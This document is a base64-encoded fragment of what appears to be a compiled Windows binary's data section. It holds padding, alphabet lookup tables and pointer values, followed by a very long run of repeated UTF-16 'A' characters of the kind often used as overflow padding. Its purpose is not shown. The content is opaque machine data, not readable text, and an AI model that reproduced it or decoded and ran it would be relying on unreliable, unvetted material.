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ADYiAGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAH9/f39/f39/3IgBgAEAAADI7QGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAC4AAAAuAAAA/v////////8AAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEA